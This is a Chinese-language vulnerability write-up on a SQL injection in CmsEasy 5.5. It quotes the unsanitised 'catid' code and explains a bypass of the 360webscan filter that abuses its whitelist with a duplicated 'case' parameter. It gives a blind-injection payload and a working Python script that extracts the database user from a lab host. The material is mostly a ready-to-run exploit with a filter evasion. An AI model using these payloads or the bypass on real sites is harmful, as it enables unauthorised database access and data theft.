先下载最新版(2015-03-18):http://ftp.cmseasy.cn/CmsEasy5.x/CmsEasy_5.5_UTF-8_20150318.zip 经过神器比对,发现最新版进行了一些功能上的修改,可就是这处修改造成注入。
/lib/default/archive_act.php 283行
if (front::post('catid')) {
$cateobj = category::getInstance();
$sons = $cateobj->sons(front::post('catid'));
if(is_array($sons) && !empty($sons)){
$cids = front::post('catid').','.implode(',',$sons);
}else{
$cids = front::post('catid');
}
$condition .= "catid in (".$cids.") AND ";
//var_dump($condition);exit;
}
$condition .= "catid in (".$cids.") AND ";直接将$cids放入SQL语句,而$cids = front::post('catid');。 由于没有引号包裹,所以造成注入。
绕过360webscan的方法,还是借助白名单,但方式有点区别。
/**
* 拦截目录白名单
*/
function webscan_white($webscan_white_name,$webscan_white_url=array()) {
$url_path=$_SERVER['SCRIPT_NAME'];
$url_var=$_SERVER['QUERY_STRING'];
if (preg_match("/".$webscan_white_name."/is",$url_path)==1&&!empty($webscan_white_name)) {
return false;
}
foreach ($webscan_white_url as $key => $value) {
if(!empty($url_var)&&!empty($value)){
if (stristr($url_path,$key)&&stristr($url_var,$value)) {
return false;
}
}
elseif (empty($url_var)&&empty($value)) {
if (stristr($url_path,$key)) {
return false;
}
}
}
return true;
}
if (stristr($url_path,$key)&&stristr($url_var,$value)),当key和value都在白名单中存在时,就不进行过滤。
而白名单的数组为:
$webscan_white_url = array('index.php' => 'admin_dir=admin','index.php' => 'case=file','index.php' =>'case=admin');
也就是说index.php?case=file,这样的请求就不会检测。
但我们的目标url是index.php?case=archive&act=search&page=1,不是case=file。没关系呀,这里比对的时候用的是$_SERVER['QUERY_STRING'];,而PHP对于两个case=xxx,是取后面一个作为值。所以,请求/index.php?page=1&case=admin&case=archive&act=search即可。
这样,即可以在QUERY_STRING里找到case=admin,进而绕过360webscan,又可以让case=archive。
测试:
向http://10.211.55.3/cmseasy/index.php?page=1&case=admin&case=archive&act=search&keyword=-1 POST数据 catid=-1) or ord(substr(user(),1,1))=114%23
=114(r)的时候有返回结果:
=115的时候没有返回结果:
脚本验证:
脚本如下:
#!/usr/bin/python
import requests, sys, base64, traceback
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'
}
payloads = list('@abcdefghijklmnopqrstuvwxyz.0123456789')
print 'start to retrive MySQL infomation:'
def run():
user = ''
for i in range(1,16):
for payload in payloads:
try:
data = {
"catid": '-1) or ord(substr(user(),%s,1))=%s#' % (i, ord(payload))
}
req = requests.post("http://10.211.55.3/cmseasy/index.php?page=1&case=admin&case=archive&act=search&keyword=-1", data = data, headers = headers, timeout = 5)
if "<strong>1</strong>" in req.content:
user += payload
print '\n[In progress]', user
break
except:
print traceback.print_exc()
break
sys.stdout.write('.')
sys.stdout.flush()
print '\n[Done]infomation is', user
run()